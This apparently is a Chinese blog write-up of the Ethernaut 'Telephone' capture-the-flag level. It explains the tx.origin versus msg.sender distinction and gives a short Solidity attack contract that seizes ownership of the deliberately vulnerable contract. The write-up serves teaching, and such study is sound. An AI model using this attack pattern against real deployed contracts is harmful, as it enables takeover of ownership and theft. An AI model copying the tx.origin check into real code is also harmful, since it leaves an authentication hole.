04.Telephone
2023-06-23 20:21:59 # 04.Ethernaut CTF

Telephone

题目

目标:修改owner

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

分析

这道题比较简单,只有一个方法可以修改owner。方法里面只有一个点tx.origin != msg.sender。要判断成功,就要tx.origin不等于msg.sender。那么我们来回顾一下他们两者的区别

  • msg.sender:msg.sender 仅会读取上层调用者的地址。
  • tx.origin:tx.origin 会读取启动交易的原始地址。

由下图可以看到,Bob 通过 A 合约调用 B 合约,B 合约又调用 C 合约。对于 C 合约来说,tx.origin 为 Bob ,msg.sender 为 B 合约。对于 B 合约来说, tx.origin 也是 Bob , msg.sender 为 A 合约,对于 A 合约来说,tx.origin 与 msg.sender 均为 Bob 。这里我们可以得出一个结论:tx.origin 永远都是 EOA 地址,msg.sender 可以为 EOA 也可以为合约地址。

640

这么说,我们不可以直接调用Telephone合约的changeOwner(address _owner)方法,应该写一个合约来间接调用

攻击代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

contract Hack{
Telephone telephone = Telephone(0x48db2e171B542DDE57f6E3116e42C5D9A5D47334);
function attack()public{
telephone.changeOwner(0xd3E65149C212902749D49011B6ab24bba30D97c6);
}
}

做题

获取实例并且部署,然后调用attack发起攻击。查看owner,发现成功修改

image-20221222214002420

通过

image-20221222213641573

原题目地址